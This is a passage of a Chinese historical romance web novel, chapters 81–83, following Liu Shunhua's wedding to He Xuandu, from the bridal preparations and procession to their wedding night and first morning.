大红的喜服,衣领处金丝卷枝花草穗状云纹,衣缘饰以锦缎镶边,光华夺目。金镶玉头冠,点缀着红玛瑙、珍珠、水晶,庄重又大气。 一应华胜、玉簪、金笄,珰珥、各式香粉,香囊让人眼花缭乱。 孙姨娘道:“咱们备下的婚服,我瞧着总觉得少了点什么,正要与你商议呢。可巧,这就送来了,要不说贺二公子用心呢。” 柳棠华在旁兴奋道:“姐姐你快试试看合不合身。” 柳舜华在众人催促下,转身去了屋内,换好婚服出来。 才一出来,柳棠华便惊道:“这也太美了吧,姐姐。” 孙姨娘左右看了一圈,赞道:“难得如此合身,这婚服一穿,头冠一戴,宫里的娘娘也不过如此了。” 说者无心,柳舜华听着,脸上不觉飞红。 贺玄度从未找人帮她量过尺寸。 她想起那日芦苇荡内,他用红绸覆上她的眼。难怪那日她总觉得他的吻似乎格外绵长,手也没那么老实。 原来他从那日便开始帮她准备婚服了。 柳舜华摸着喜服,低眉浅笑,心口浸了蜜般酥软。 上林苑几日,先是遇险,又得知贺玄度许多不为人知的秘密,她一颗心七上八下。 此刻,穿上婚服,她终于切切实实感受到,她真的是要嫁给贺玄度了。 贺玄度大约是在忙婚礼之事,接下来几日,柳舜华都未见到他。 不过,他人虽未到,每日的吃食倒是变着法的送,试图告诉柳舜华,他人一直在。 柳舜华怕吃胖婚服不合身,努力克制住,管好嘴。 东西最后都到了柳棠华肚里, 不过短短几日,小脸又圆润不少。 几日未见兄长,柳舜华抽空去找了他,问了上林苑刺客之事。 柳桓安却道,刺客身份已经查明,是燕王的人。 柳舜华不信,燕王此前开罪先帝,被罚去燕地多年,国中从上到下都是先帝的人。虽说先帝驾崩,但燕王怎么可能这么短的时间内将众人一一收服,并将手伸向上林苑。 柳桓安却道他自有分寸,让她安心备婚,别总想这些事。 柳舜华本想与兄长聊聊妉柔郡主之事,但见兄长一边要忙政务,一边又要操持她的婚礼,实在不忍让他烦心,只好将满心的疑问压下,等待何时时机再与他详谈。 迎娶的日子越来越近,柳府上下热闹无比,柳奉亲自指挥仆从将红绸花挂在正厅,庭院内窗扇上,到处都是大红的喜字。 四下里张灯结彩,一到晚间,红绸映着白雪,美得让柳舜华有些陌生。 比起柳府,丞相府也毫不逊色。 贺留善虽不喜贺玄度,但有老夫人在,又为了相府的面子,自然也是为婚礼做足了准备。 朱门之上,鎏金喜匾高悬,大红灯笼黄色流苏低垂。屋檐下挂满喜绸,庭中玉兰之上悬着红绸花、梅树挂上绛纱灯,照得雪地如铺红锦。 贺玄度院内,更是喜庆,凡入眼之处,必见喜色。连绿玉与那只笨丫头大鹅都被洪声按住系上红绳。 周松看着院内花红柳绿,五光十色,只觉得眼睛吵得狠。 贺玄晖下了朝,瞧着满院红彤彤的喜字,胸中没由来有些憋闷。 风吹着树枝上未系紧的红绸飞来,飘在他脸上,冰冷的触感让他浑身一僵。 下一刻,他仿佛看到什么可怕的东西,一把拽下红绸扔在地上。 丁宝吓了一跳,忙问道:“公子,怎么了?” 贺玄晖捂着头,拼命将脑海里奇怪的画面甩出去。 他又看到无边的大火,火光旁站着个顶着红盖头的女人。 风吹着那盖头飘来飘去,他就是看不到她的脸。 他闭上眼,恢复平静,“无事,就是太累了,走吧。” 黑色鹿皮靴踏过,红绸飘飘晃晃,很快陷进泥污中。 十一月十三,婚礼前两日。 柳府上下已装点完毕,嫁妆也已全部清点好,只等婚礼的到来。 上林苑分别后至今,依旧未见到贺玄度,柳舜华终于有些坐不住了。 屋内炭火烧得正旺,她坐在窗前,开了一条缝透气,纸上写写画画,一堆话想要同他讲。 落笔却只有三个字:贺玄度。 她垂下眼眸,盯着那三个字发呆,也不知道贺玄度此刻在做什么。 狂风骤起,猛地吹开半扇窗棂,案上的纸张被吹得四散,几张被风掀起,倏地飘出窗外。 柳舜华忙手伸出窗外去抓,突然一顿,整个人呆在原地。 灯火摇曳间,那人身披月色而来,玄色狐裘上沾着霜雪,闲雅潇洒,飘然出尘。 他将手中的纸递过去,低头浅笑,“蓁蓁,可是在等我?”【你现在阅读的是 】 80-90 第81章 第81章大婚 隔着风雪,柳舜华呆愣愣地看着贺玄度。 月色下的他,嘴角一抹笑,清冷又温柔。 柳舜华恍过神来,接过纸张,推门出去,一把将他拉进屋内。 狐裘上的雪落地化成水,滴落在地板上,湿漉漉一片。 屋内温暖如春,靠墙博古架上放着各式的小玩意,几本书零星放在其间。 一进屋便闻到阵阵幽香,贺玄度一抬头,正看到窗边案上瓷瓶内插着一枝梅花,那梅花瞧着甚是眼熟,像是他在上林苑送她的那枝。 里间是柳舜华的闺房,隔着帘子,影影绰绰。 贺玄度脸上突然一热,压下嘴角,“我就这么进来,不太好吧。” 灯影昏黄,柳舜华踮起脚尖,抬手为他拂去满身风雪,低眉一笑,“人都进来了,这会儿才想起来不妥。” 手拍着他的狐裘,密密麻麻地落在身上。隔着厚厚的衣袍,贺玄度却仿佛感受到她指尖的温度,浑身酥麻。 贺玄度垂头,睫上雪色渐融,“我就是想过来看看你。” “我知道。”柳舜华想了想,又问:“冷吗?” 贺玄度摇头,“不冷,为了见你,一切都是值得的。” 上林苑归来,先是嘱咐暗探看好刺客,与九生共同商讨下一步计划,又要盯住府内大婚事宜,这些时日,他几乎未好好合过眼。 满身的疲劳,这刻烟消云淡。 若是,他们能一直这样,像寻常人家的夫妻一般,该有多好。 柳舜华将他拉到炭火旁坐下,“天寒地冻的,你的腿还未恢复,往后……” 话未说完,她就笑了,“往后,你倒是不必再这么偷偷摸摸了。” 贺玄度舒服地靠在椅子上,语调慵懒,“是啊。” 外头大红灯笼照着,映得屋内红彤彤一片。 贺玄度坐起,笑问:“蓁蓁,你紧张吗?” 柳舜华倒茶的手一滞,她突然意识到,这些日子,她看着院内的布置,屋内的大红喜服,贺玄度每日送来的点心吃食,满心只有欢喜,毫无上辈子嫁人时的忐忑与不安。 她将茶递过去,反问他,“那你紧张吗?” 贺玄度接过茶,淡然道:“我有什么好紧张的。婚房布置得很好,傧相是刘长临还有几个不错的朋友,祖母很开心,一直等你过去陪她。还有,绿玉学会了一句新词……” 他越说越语无伦次,拿在手中的茶杯微微颤抖,茶盏碰着茶托,在黑夜里叮当作响。 柳舜华低头捂嘴轻笑,止住了笑,上前抓住他的手。 “贺玄度,别紧张。” 贺玄度觉得有些丢人,嘴硬道:“天实在太冷了,手都有点抖。” 柳舜华笑笑,也不拆穿他。 静坐片刻,贺玄度看外面雪渐渐停下,起身道:“蓁蓁,我要走了。” 柳舜华转身进屋,拿了一顶做了许久的暖帽出来。玄色织金锦,帽缘镶银鼠毛,与他的大氅很相配。 贺玄度太高,柳舜华方将帽子举起,他便自觉蹲下身来,半跪在她跟前。 夜雪初霁,映着他暖帽上一簇银毫,熠熠生辉,活脱脱一个翩翩佳公子。 柳舜华笑道:“你戴上,真好看。” 贺玄度起身,抓住她欲收回的手腕,将她带进怀中,“蓁蓁,能娶到你,是我此生最大的幸事。” 柳舜华靠在他怀里,听着他胸膛跳动的声音,温声道:“贺玄度,我等你来娶我。” …… 临近冬至,岁暮天寒,柳舜华觉得这一日的夜,格外长。 第二日天一亮,柳舜华早早被叫了起来。 推开门一看,雪已经停了,庭前一片澄净,天色湛蓝澄澈。 内外院一阵嘈杂,脚步声声不断,丫头小厮跟着管事人忙得团团转。 孙姨娘带着人过来帮忙梳洗,妆容繁复,柳舜华坐在绣凳上,一坐便是半个时辰。柳棠华怕她饿着,不时投喂她几口糕点。 糕点是从凉州千里迢迢送来的,陈茵的点心铺子已步入正轨,蒸蒸日上,人根本走不开。外祖年事已高,不宜奔波。柳舜华便没让他们来送她出阁,何况她婚后便会回凉州,日后见面的机会多着呢。 柳奉抽了空,跑到后院。原本只是想看看女儿,谁知一进屋,见柳舜华穿着喜服,端坐在那里。想到她马上就要嫁人,离开柳府,立时有些绷不住,眼泪哗哗地流。孙姨娘怕他惹得柳舜华哭花妆,赶紧将他拉到一边。 柳桓安差人催了几次,他才擦干眼泪去前厅接待宾客。 等到快晌午,柳舜华终于收拾好了装束。柳棠华激动不已,不知要怎么表达她美到何种程度,伸手把镜子递过去让她自己看。 柳舜华接过镜子,看着镜中人,不觉有些呆了。 一袭大红嫁衣,金镶玉的头冠压着鸦青鬓发,映得肌肤如初雪剔透,唇上一点朱砂色,恰似红梅落入雪中,眼眸中是藏不 住的喜色。 这种喜色,与上一世是不同的。 上辈子,她心心念念要嫁给贺玄晖,出嫁前自然也是欢喜的。可到底是盲婚哑嫁,她不知贺玄晖喜不喜欢她,何况他们之间身份如此悬殊,欢喜中总带着一点期待与忐忑,虽也是容光满面,到底缺少些底气。 而今,她整个人松弛又自然,就像是稀世的美玉,无需刻意张扬,即便随意放在角落,依旧挡不住绽放的光彩,美得惊心动魄。 孙姨娘看着柳舜华,叹道:“今日这身装扮,再配上这通身的气派,整个大安怕是找不出第二个了。” 柳舜华笑道:“姨娘,你莫要这么说,惹人笑话。” 孙姨娘笑了笑,拉着她到一旁坐下,“原本这话不应当我说,但你上面没个长辈,我少不得要越俎代庖了。” 时日隔得久,柳舜华有点不太记得,孙姨娘到底同她说过什么,只盈盈一笑,“姨娘你说。” “今日你就要嫁人了,那贺二公子瞧着自然是好的,别的不说,单说这聘礼,放眼整个大安,哪家娶亲能做到这个份上。只是,过日子讲究一个细水长流。便是对你再好,也不能恃宠而骄,男人的心,最捉摸不定。” 孙姨娘话锋一转,“就说你父亲,这么些年,我操持家务,没有功劳也有苦劳吧。可你父亲呢,他心里总念着你母亲,完全不把我当回事。这男人啊……” 柳棠华脸色不好看了。 父亲是一直念着夫人没错,可这些年府内只有她一个姨娘,并未亏待过她。至于到底为何不将她扶正,怎么她没有半分觉悟。 她这一张嘴口无遮拦,做事毫无分寸,耳根子又软,总是轻易被别人拿捏,这桩桩件件,哪里够得上做一个主母。 她听不下去,忍不住上前打断孙姨娘,“娘,今日是姐姐大喜的日子,您说什么做什么。” 孙姨娘不满道:“你小孩子家的懂什么。” 说完,作贼似的向四下瞧了瞧,伸手从衣袖里掏出一本书来,不由分说塞给柳舜华。 柳舜华拿起才要打开,孙姨娘一把按住,悄声道:“这个可不是现下看的,等你进了相府,自己在屋内好好看。” 柳舜华瞬间反应过来,脸上腾一下红了起来,忙将书收进衣袖。 上辈子,孙姨娘也是给了她的。 只是……她与贺玄晖并未行洞房礼,后来他更是连她房门都不进,这本书根本没有用武之地。是以,她从未看过。 想到贺玄晖上辈子对她的疏远,她不由想起上林苑内,他与刘妉柔的对话。 他从未钟情刘妉柔,却依旧拿刘妉柔为借口,可见对她厌恶至极。 既然厌恶她,当初就应该早早与她讲明,她也不是放不开之人,又怎么死皮赖脸地凑上去找难堪。 柳舜华只觉得晦气,忙让芳草打了水,将手洗了个干干净净。 天色渐暗,柳棠华端了莲子百合羹过来,柳舜华方喝了几口,便听到外面鞭炮声响了起来。 抚春与芳草跑来,说是前方探路的来报,姑爷的迎亲队伍就快到了。柳家的亲眷聚集在柳舜华屋内,上次她们都亲眼瞧见相府送来的聘礼,纷纷向着她道恭喜。 不一会,外面鞭炮声又响起,紧接着鼓乐奏了起来,阵阵欢呼响彻云霄。 “花轿来了,花轿来了。”不知谁在外大喊着。 屋内的女眷们纷纷跑了出去,争先恐后地往前挤,想要看看新郎到底是何模样。 芳草得了柳舜华的允许,跟着出去瞧了一眼,很快回来,兴奋道:“小姐,听说姑爷的迎亲队走一路撒了一路的钱,外面比过年还热闹呢。” 上一世,可没这么热闹,娶她的人,也并没有如此用心。 柳舜华听着外面的鼓乐,看着厅内满是笑意的亲眷,想的却是,贺玄度今日穿上喜服,不知是何模样。 迎亲的队伍很快到了柳府门口,敲锣打鼓,热闹异常。 队伍前头那人骑在马上,一身大红喜服,风中衣袂翻飞,雪色中炙热得似一团火。 柳舜华在后院,听到鼓乐声越来越近,便知是贺玄度进了门,忍不住随着众人一同趴在墙后去看。 小小的月洞门前挤满了人,看到柳舜华过来,女眷们先是一惊,忍不住笑了起来。 鼓乐敲敲打打,结亲的队伍进了花厅,本就不大的厅内围得水泄不通。 柳舜华朝着人群一望,目光落在那灼灼的红衣之上。 贺玄度长身玉立,手持金玉杖,踏过石阶。他身姿挺拔,脊背如松,衣摆随着脚步微微荡起,姿态风流。举手投足间,矜贵从容,丝毫不见窘迫之态。 围观的女眷们有些错愕,来之前她们听说,这贺二公子摔断了腿,只能坐在轮椅上,怎么如今能站起来了。还有这风姿神韵,即便是拄着杖,也丝毫不减。 “蓁蓁,怎么此前没听你说,新郎官这么俊朗?” “就是啊,这么清俊的夫婿,还这么有诚意,真是好福气。” “那是因为咱们蓁蓁也不差啊,他们这是天作之合。” 听着众人七嘴八舌议论,柳蔓华气得牙痒痒,原本她是要看柳舜华的笑话,没承想又让她占尽风头。 柳舜华一愣,婚礼议程烦琐,贺玄度的腿不能站立太久,他竟弃了轮椅。 柳奉也是怔了许久,喜道:“贤婿,你的腿能站了?” 贺玄度笑道:“尚不能。昨日为了此事,特意进宫去找太医瞧了,让他想办法让我的腿能站立一日。您看着能站立,其实腿上绑着东西呢。” 柳奉见他如此上心,频频点头,“贤婿有心了。” 芳草见柳舜华看得入神,忍不住轻声提醒,“小姐,要辞别老爷了。” 柳舜华忙回房,仔细照了镜子,重新收拾一番,盖上盖头,去前厅跪别父亲。 柳奉眼中带泪,忍不住上前将柳舜华扶起,想说些什么,可话到嘴边却怎么也说不出,只是看着她。 舜华自幼没了母亲,是他将她一手带大。他看着已长成亭亭模样的女儿,想的却是她初生时皱着小脸啼哭的样子,怎么一眨眼,小丫头就长大要嫁作他人妇。 孙姨娘知晓自家老爷的性情,生怕他忍不住当着宾客的面哭出来,忙笑道:“吉时已到,大小姐要上花轿了。” 柳奉这才松开手,转过头去。 尽管隔着盖头,柳舜华依旧能感觉到父亲的不舍,眼泪瞬间夺眶而出,她偷偷擦拭了眼泪,又冲着父亲盈盈一拜。 柳桓安蹲下身,“蓁蓁,兄长背你上轿。” 孙姨娘忙过去,扶着柳舜华趴在柳桓安背上。 红盖头被风吹起,柳舜华看到月洞门前,柳棠华哭成了个泪人。她强忍着内心的不舍,安慰自己,只是去相府暂住,待过了年,便又能重聚。 盖头落下,她什么也看不到了,柳桓安背着她,步履平稳,一步步出了柳府。 走着走着,柳桓安突然轻笑一声。 柳舜华问道:“兄长笑什么?” 柳桓安朝前方看了看,“短短几百步路,贺玄度回了几十次头。” 柳舜华心内甜蜜,也跟着笑出声来。 柳桓安叹道:“原本还想嘱咐你,若是在相府受了委屈,不要忍着,如今看着,倒是我多心了。不过,相府终非久留之地,等过了年,我亲自送你们离开。” 柳舜华听着兄长的话,想起上辈 子。 当时兄长反对她嫁给贺玄晖,她执意要嫁,以至闹得有些不愉快。背着她上花轿的时候,兄长从始至终一言不发,她难得落下泪。 如今,趴在兄长厚实有力的背上,听他细心叮嘱,有种说不出的安心。 鞭炮声响起,柳桓安将她放上花轿。 柳舜华停了一下,隔着盖头向前方遥遥一望。 她看不到贺玄度,但她知道,贺玄度一定在看她。 …… 相府门前,宾客盈门。 贺留善坐在正厅,脸上挂着笑,与往来宾客寒暄着。 贺玄晖站在角落,冷眼看着灯火通明的大厅,拥挤着看热闹的人。 人群中突然起了一阵骚动,有人高呼:“新娘子到了。” 贺玄晖随着众人木然向外走去,远远瞧见被灯笼、喜牌簇拥着的花轿。 新娘被人搀扶着下了轿子,红盖头下看不到脸,但身形窈窕,行动娴雅,一看便知是个佳人。 周遭吵吵嚷嚷,柳舜华蒙着盖头看不清,由人搀着,正欲跨过火盆,突听一声轻叫,从盖头下端的缝隙中望去,只见火盆内的火势一下大了起来,火舌窜出老高,险些烧到喜服下摆。 她下意识往后一缩,却听见喜娘在耳边提醒,“新娘子不可退。” 新娘子跨火盆,意在驱邪禳灾。不过,通常火都不会超过火盆,可眼前这种火势,明显是有人暗中做了什么手脚,刻意刁难。 柳舜华没料到,贺家人居然会在新婚当日给她下马威,来不及生气,脑中飞快想着应对之策。 突然觉得手上一热,贺玄度已经走了过来,牢牢握紧她的手。 柳舜华心内的焦灼不安倏忽散去,一片平和安然。 贺玄度举起手中的金玉仗,杖头“铮”地压在火盆上,猛地一挑,火盆哐当一声翻了过去。 他转头,眼带笑意,声音轻柔,“蓁蓁,邪祟已除,我陪你过去。” 新妇属阴,进入夫家需以阳火净化。而新郎为阳,无需再经火盆净化,若跨火盆,反折寿不彰。大安自古以来便是新妇自己跨火盆,哪有新郎官跟着一起跨的道理。何况,这贺二公子还一下掀翻了火盆。 喜娘忙道:“二公子,这怕是不妥吧?” “夫妇,一体也。”贺玄度金玉杖叩在地上,淡声道,“既入我贺家门,这火,我陪她一起跨。” 他一把扯过喜娘手中的红绸,裹住两人交握的手,踏过掀翻的火盆。 话音在畔,他掌心的温度,透过红绸传来,柳舜华心头一颤,浑身暖意翻涌。 过了许久,她恍惚听到了一阵喧闹声,贺玄度已拉着她到了正厅。 礼生在唱礼,她随着唱礼对拜,一声“礼成”,迷迷糊糊被簇拥着送往洞房去。 火红的身影晃动在眼前,越来越远。贺玄晖突然觉得这一幕十分熟悉,心上猛地一紧。 冲天的火光,身穿喜服的新娘…… 一瞬间,仿佛有什么东西穿入脑中,他晃晃悠悠,一个没站稳,险些跌下台阶。 漫天的红色映入眼底,喜乐震天,他踉跄着去追那抹红色,突觉得天旋地转,整个人直挺挺地倒了下去。 跟着贺玄晖身后的丁宝吓了一大跳,忙招呼人将他抬回屋内。 贺留善听闻长子晕倒,抛下众宾客匆匆离去。 大喜的日子,众人不疑有他,只当是丞相公务繁忙,厅内依旧热热闹闹。 贺留善不在,宾客们反倒自在起来,一个个拉着贺玄度不丢。 贺玄度躲不开,又怕冷落了柳舜华,及时拉住她的手,温声道:“蓁蓁,你等我片刻,我马上便来。” 围观的宾客们轰然一下笑了起来,“二公子今日可真是让我们大开眼界啊,整个大安怕是都找不出你这么会疼人的。” 刘长临打趣道:“他今日这么一出,回头我们成婚时无论如何都比不过了,可不能便宜了他。” 灯火下,贺玄度笑着一一周旋,眼角眉梢都流露着无法掩饰的喜悦。 婚房内,陪着闹的女眷们已经离去,贺玄度还没有回来,静悄悄的。 柳舜华轻轻揭开盖头,迎面看到十扇红漆屏风上百子嬉春图,连理枝灯架红烛高燃,案上供着鸳鸯香炉,青烟缭绕间,合卺酒泛着温润的光。 婚床上放着合欢枕,喜被上绣着鸳鸯戏水图,洒满红枣、莲子,赤绫帐垂落在地,床头放着连理木,屋内入眼皆是喜字。 柳舜华本来是挺安然的,可如今四下无人,独坐在婚床上,想到今晚是洞房花烛夜,突然有些紧张起来。 上辈子贺玄晖连她盖头都未掀开,从未与她亲近过。 她虽是嫁过人,却根本不知新婚夜应当如何。 想起孙姨娘塞进礼盒中的小册子,她蠢蠢欲动。 不看吧,怕待会没经验。看吧,又着实难为情。 柳舜华陷入空前的纠结中。 正胡思乱想着,突然听到外面传来踉跄脚步声,混着周松的轻笑,“公子小心脚下,夫人她又不会跑。” 柳舜华忙将盖头盖上,坐回到床上。 门“吱呀”一声响,房门被人推开,浓烈的酒气夹杂着刺骨的夜风涌了进来。 她忙垂下脖颈,从盖头底缝下望去,一双玄色锦靴慢慢逼近。 “蓁蓁,久等了。”带笑的嗓音自头顶传来,秤杆突然挑开盖头。 柳舜华缓缓抬眸,正撞进一双带着醉意潋滟的桃花眼内。 第82章 第82章贺玄度,你不再是一个人…… 烛影摇红,满室生辉。 灯火映着柳舜华半边脸,光影交错在她眉心,宛若一点朱砂痣,一张芙蓉面愈发娇媚,贺玄度恍若在梦里。 柳舜华嫣然一笑:“他们这么快放你回来?” “父亲回来了,他们不敢太闹,我便求刘长临替我顶着。”贺玄度坐近一些,直勾勾地盯着她笑,“我怕,夫人不喜饮酒,喝太多会被嫌弃。” 柳舜华听他这声“夫人”,心头一荡,笑道:“怎么,怕我管着你,后悔了?” “求之不得。”贺玄度笑着看着她,许久才缓缓起身,去端桌上的合卺酒过来。 两只匏瓜酒杯红线相牵,盛着石榴红的葡萄酒。 贺玄度抬手递了过去,柳舜华接过酒杯,手指擦过他的手背,温热的触感让她脸上不觉一红。 她一急,抬手便将酒往嘴里送。 贺玄度轻声笑了起来,拉住她的手臂,两只手臂交缠在一起。他靠得这样近,呼吸就落在她的耳畔,浑身酒气混合着喜服上的松木熏香,漫开一片微醺的暖意。 柳舜华大为窘迫,忙抬起头,顺势将酒一饮而尽。 贺玄度将酒杯放回桌上,顺手翻出一枚香丸塞进嘴里,细细嚼碎,口中酒味顿时消了大半。 柳舜华静静坐着,也不知要说些什么,做些什么。 贺玄度走过去,靠着她坐下,双手按在腿上,不停地搓着。 红烛爆出的灯花轻响,屋内静极了。 许久,贺玄度摸着腿,伸手去掀衣袍,突然转头,问:“你想不想看看我的腿?” 柳舜华一愕,瞪大双眼,贺玄度这就脱衣服了?! 贺玄度见她理解错了意思,解释道:“不是,我是说我的腿你想不想看?” 解释来解释去,好像还是一个意思。 好在柳舜华反应过来,轻笑一声,弯腰望去,柔声道:“你的腿怎么样了?” 贺玄度僵硬地脱掉靴子,撩起衣袍,只见腿上绑了一圈竹棍。 原来他今日竟是靠着这个支撑起双腿。 此前练习包扎,柳舜华曾在自己腿上试过。她双腿健全,绑上两根竹棍已是寸步难行,贺玄度如今被绑了一圈,她都不敢想,这一整日,他是如何坚持下来的。 她蹲下身去,忙将那些竹棍解开,丢到一边,气道:“你好不容易才能站立,怎么又如此折腾自己?你知不知道,绑了一整日,血脉流通不畅,对恢复不利。” 贺玄度低头,看着她一身大红喜服,头冠上的流苏晃 动在眼前,认真道:“我可以坐在轮椅上一辈子,唯独今日不行。” 柳舜华伸手按住他的嘴,“大喜的日子,别胡说。” 指尖传来他呼吸时喷出的温热气息,掌心下他的唇格外柔软,贺玄度看她的目光灼热起来。 柳舜华下意识要缩手,却被贺玄度一把握住手腕,他倾身向前靠近,几乎要贴着她的脸。 “别动。”贺玄度的声音比平时低哑几分。 柳舜华耳尖泛红,屏住呼吸,缓缓闭上双眼。 突觉颈上一松,头顶传来一声轻笑:“夫人替我解了那碍事的东西,我也帮夫人卸下发冠。” 他起身,将金冠放在案上,“这金冠瞧着好看,却是沉甸甸的,夫人戴了一日,想必也累坏了。” 摘了头冠,柳舜华确实放松不少,倒是贺玄度,双腿没了支撑,每走一步都特别费力。从案台到床边,短短不到十步,额上已泛起汗珠。 她有些心疼,于是道:“累了一整日,我先去卸妆洗漱,你也快去,早点歇下。” 贺玄度笑着应下。 柳舜华今日妆造繁复,卸妆、洗发,沐浴,等盥洗好,换上一件藕色中衣出来,贺玄度已经躺在床上。 他大约是太累了,一双手随意搭在喜被外,雪白的绸袍松松散散地裹在身上,衣襟微敞,露出半截锁骨。双眼闭着,长睫在眼下投出浅浅的阴影,薄唇微微翘起,像是卸下了所有的防备,显出几分旧日的稚气。 柳舜华走近,坐在床沿上,静静地看着他,恍惚想起初见时的情景。 当时他一身华服,花枝招展,手中拿着把五彩羽扇,还邀她一起去看斗鸡。那一瞬她的确失望了,整个人震惊又迷茫。此后,为了靠近他,引导他回归正途,费尽心机。可如今看着他褪去张扬,却恍觉,她心内其实早就认定了贺玄度。她根本不在乎他是什么样子,也不想他成为任何人,哪怕和此前一样,桀骜荒唐,她也觉得,没什么不好。 烛影晃动,勾勒出他深邃的轮廓,柳舜华抬手,抚在他的脸上,指腹小心翼翼地描摹着,最后落在他那张半阖的唇上。 指腹划过他的双唇,贺玄度突然张口,一下咬住了她的指尖。舌尖舔舐着她的食指,温热潮湿的触感让她浑身一颤,猛地缩回手。 “看够了吗?”贺玄度忽然开口,笑着睁开眼。 柳舜华手落在他肩上,“你装睡?” 贺玄度顺势拉着她的手,往自己脸上蹭了蹭:“腿疼,睡不踏实。” 柳舜华挣开他的手,转而抚上他的腿,“那我帮你揉揉。” 她才沐浴过,稍一低头,柔滑的青丝垂泻了下来,发梢拂在他的脸上。 贺玄度喉结微动,一丝痒意顺着肌肤往下,一路烧到心口,烫得他指尖发紧。 他一把掀开鸳鸯被,揽过她的腰,将她拉上床。 柳舜华惊呼一声,整个人已经陷入他怀中,柔软的身躯紧紧贴着他结实的胸膛。 “你的腿,小心。”她突然想起什么,挣扎着要查看。 “无妨。”他将下巴埋在她的发间,闭着眼低声在她耳边道:“蓁蓁,让我抱一会。” 柳舜华明显感觉到他的身体很热,有处更是贴着她的腿,硌得她有些难受,她本能挣扎了几下。 贺玄度紧绷着的身体一震,呢喃着喊她的名字:“蓁蓁。” 柳舜华浑身瘫软,朦朦胧胧抬眼,贺玄度的唇紧跟着贴了过来,在她唇瓣之上辗转。很快他抵开她的贝齿,心头压抑许久的感情汹涌流出,化作游蛇,在她的嘴里游走。 湿润软滑的触觉,若有似无的香膏,无不刺激着两人的感官,双唇紧紧纠缠在一起。 柳舜华被他吻得喘不上气来,面颊很快浮起薄红,迷迷糊糊地哼了一声,“贺玄度。” 贺玄度双唇移开,双手捧着她的脸,轻声喘在耳边,“叫夫君。” 柳舜华轻喘着气,张了张嘴,声如蚊呐,“夫君。” 贺玄度忍不住,翻身压在柳舜华身上,低头去吻上她的耳垂,缓缓移动到脖颈,一路向下。他本就滚烫的体温透过单薄的绸衣传来,像一炉暖炭,将她浑身点燃。 窗外青竹承受不住风雪,“啪”的一声断裂在寂静的夜色里。 柳舜华一惊,睫毛轻颤,伸手便去推他,喘息道:“不行。” 贺玄度猛地回过神来,放了她的手,从她身上下来,躺到一边。 他低声道:“蓁蓁,是不是弄疼你了?” 柳舜华听他语气委屈又愧疚,调整好呼吸,柔声道:“不是,你的腿站了一整日,不能再用力。” 她这一说,贺玄度才后知后觉,双腿果然锥心似的疼,皱着眉,拼命忍着。 柳舜华看他这副模样,心一横,将他的脸扳过来,看着他的眼睛,哄道:“咱们已经是夫妻,许多事都是早晚的,不急于一时。” 贺玄度一心想着能堂堂正正站起来,亲自迎娶柳舜华进门,拼着全身力气撑到洞房花烛。 其实方才沐浴之时,他的腿便已疼痛难忍,上床闭目养神片刻,一碰到柳舜华便将这些疼忘得一干二净。 柳舜华怕他多心,解释道:“方才我摸你的腿,瞧着骨节已经大好,眼下正是关键时候,切莫大意。” 他的腿才有起色,她可不想他因一时贪欲,功亏一篑。 贺玄度见她处处为他着想,这个时候都不忘提醒他,非但没有一丝不快,反觉一股暖意从心口蔓延开来,浑身舒畅。 他伸手将她揽在怀中,低头吻在她发间,“蓁蓁,委屈你了,我其实可以的……” 柳舜华脸一红,打断他,“这有什么好委屈的。” 说罢,想起他的腿,又有些担忧起来,“你今日强行站起,皇上那边会不会……” 贺玄度将她揽得更紧了些,“我昨日特意进宫去请了太医,皇上知晓此事,那根金玉杖,便是皇上赐给我的。” 柳舜华这才放下心来。 她伸手去抱贺玄度,手指碰到他的右臂,撩起他的衣袍,摸着他崎岖的伤疤。 “疼吗?”她轻声问。 贺玄度笑笑,“早就不疼了。” 柳舜华指尖轻轻摩挲着伤疤,明灭的光影里,她恍惚看见了贺玄度瘦小的身影,站在漫天烟火下,静静地望着父亲,委屈又无助。 “玄度。”她轻唤他的名字,声音发颤。 贺玄度抬手擦去她的泪,语气平静,“都过去了。” 怎么过去了呢? 只有她知道,相府那些冰冷的日子,是怎样一步步,将一个本就该骄傲张扬,意气风发的少年,逼成如今偏执敏感,戴着面具隐藏在黑暗中的模样。 柳舜华紧紧抱住他,像是要透过血肉,温暖那个受尽炎凉的孩子。 “以后,有我陪着你。”她贴在他心口,“贺玄度,你不再是一个人。” 贺玄度喉结滚动,手臂渐渐收紧。 心内是前所未有的安宁,就像小时候,无论玩得多晚,西竹院内那盏灯都会亮着,始终在那里等着他。 红烛燃尽,青烟袅袅散去。雪落无声,红罗帐内暖意缱绻。 贺玄度缓缓闭上眼,感到过往那些蚀骨的孤寂与寒冷,正一点点融化。 从此长夜不再踽踽独行,风雪亦有人共度。 这世间,终是有了他的归处。 第83章 第83章相府秘密 新婚第一日,柳舜华被鹅叫声给吵醒了。 柳舜华有些恍惚,看着头顶的大红罗帐,一床的鸳鸯被,还有身侧躺着的贺玄度,渐渐缓过神来。 贺玄度犹揽着她,她迷迷糊糊,竟枕着他的胳膊睡了。 如此一整夜,他的胳膊不麻才怪。 她轻轻将他的胳膊从脖颈下抽出,仔细替他揉着。 贺玄度醒了,翻身看到她,笑道:“不再多睡一会儿?” 柳舜华这才想起方才的鹅叫,她记得此前贺玄度住处清寂,怎么会有鹅? 她道:“我好像听到了什么奇怪的叫声。” 贺玄度笑了一声,“哦,是笨丫头,许是有生人进了院子。” 柳舜华想了一下,终于想起浮霞园的那个大白鹅。 这时门外有声音传来,“公子,刘嬷嬷差人来收帕子了。” 贺玄度忙起身,拿出昨夜备好的白帕,用刀在手上一划,滴了几滴血在上面。 柳舜华起身帮他处理好伤口,才叫了人进来。 芳草随着几人进来,将帕子递了过去。 站在前头的中年女子柳舜华认识,银纤姑姑,曾是贺玄度母亲的侍女,这些年一直服侍他长大。 贺玄度对着柳舜华道:“这是银纤姑姑,自己人,日后若是我不在,你有什么事可 以直接找她。” 柳舜华忙欠身道:“银纤姑姑。” “夫人可折煞我了,我可当不起。”银纤慌忙去扶,又笑道:“夫人仙子一样的人物,怪道公子一心念着。” 待两人梳洗完毕,银纤带着几个小丫头走了出去,留下芳草在旁伺候。 新妇进门第一天,要去前厅为公婆奉茶。上辈子,柳舜华一早饿着肚子被人叫去,足足等了半个时辰,相府夫人才姗姗而来。 她笑道:“待会我想先去看看祖母,再去奉茶。” “蓁蓁能想到祖母,有心了,我也是这么想的。”贺玄度想了想,“我与程氏,也就是相府夫人一向不睦,待会她若是刁难你,你不必理会,一切有我。” 说罢,也觉得有些奇怪,以程氏的做派,不可能如此善解人意,只差人过来拿喜帕,却不让他们提前去请安。如此千载难逢的立威机会,她怎么可能会放过。 